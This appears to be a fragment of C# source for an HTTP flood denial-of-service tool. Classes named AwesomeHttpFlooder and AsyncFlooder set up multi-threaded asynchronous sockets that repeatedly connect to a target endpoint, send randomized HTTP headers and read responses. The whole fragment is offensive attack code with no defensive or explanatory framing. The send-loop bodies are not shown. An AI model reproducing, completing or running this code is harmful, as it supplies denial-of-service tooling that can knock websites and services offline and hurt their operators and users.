public AwesomeHttpFlooder( IPEndPoint target, HttpAttackParams attackParams, int threadCount = 1 )
{
var info = new AttackInfo {
Target = target,
Protocol = ProtocolType.Tcp,
Randomizer = this.GenerateHeaderBytes,
MaxWrite = 1,
SendBufferSize = 512,
ReadBufferSize = 512
};
if ( attackParams.WaitForResponse )
info.MaxRead = ulong.MaxValue;
_flooder = new AsyncFlooder( info, threadCount );
this._headers = CreateHeaderExpression( attackParams );
this._exprBuffers = new int[ threadCount ][];
var c = this._headers.ComputeLengthDataSize();
for (var i = 0; i < threadCount; i++)
this._exprBuffers[ i ] = new int[c];
}
public AsyncFlooder( AttackInfo info, int threadCount = 1 )
{
this.Info = info;
this.ThreadCount = threadCount;
this._sendBuffers = new byte[ this.ThreadCount ][];
this._recvBuffers = new byte[ this.ThreadCount ][];
this._connectArgs = new SocketAsyncEventArgs[ this.ThreadCount ];
this._fConn = ( a, b ) => this.LoopExec( (Socket) a, b, this.ConnectedWorker, this.SentWorker, this.ReceivedWorker );
this._fSend = ( a, b ) => this.LoopExec( (Socket) a, b, this.SentWorker, this.ReceivedWorker );
this._fRecv = ( a, b ) => {
if ( b.BytesTransferred == 0 ){ this._fConn( a, b ); return; }
this.LoopExec( (Socket) a, b, this.ReceivedWorker );
};
this._recvArgs = new SocketAsyncEventArgs[ this.ThreadCount ];
this._recvLast = new ulong[ this.ThreadCount ];
this._sendArgs = new SocketAsyncEventArgs[ this.ThreadCount ];
this._sendLast = new ulong[ this.ThreadCount ];
this._workingSocket = new Socket[ this.ThreadCount ];
this._workingThreads = new Thread[ this.ThreadCount ];
for ( var i = 0; i < this.ThreadCount; i++ )
this._sendBuffers[ i ] = new byte[ info.SendBufferSize ];
for ( var i = 0; i < this.ThreadCount; i++ )
this._recvBuffers[ i ] = new byte[ info.ReadBufferSize ];
}
private void UpdateArgs( int i, AttackInfo info )
{
this._connectArgs[ i ].RemoteEndPoint = info.Target;
this._sendArgs[ i ].RemoteEndPoint = info.Target;
this._recvArgs[ i ].RemoteEndPoint = info.Target;
}
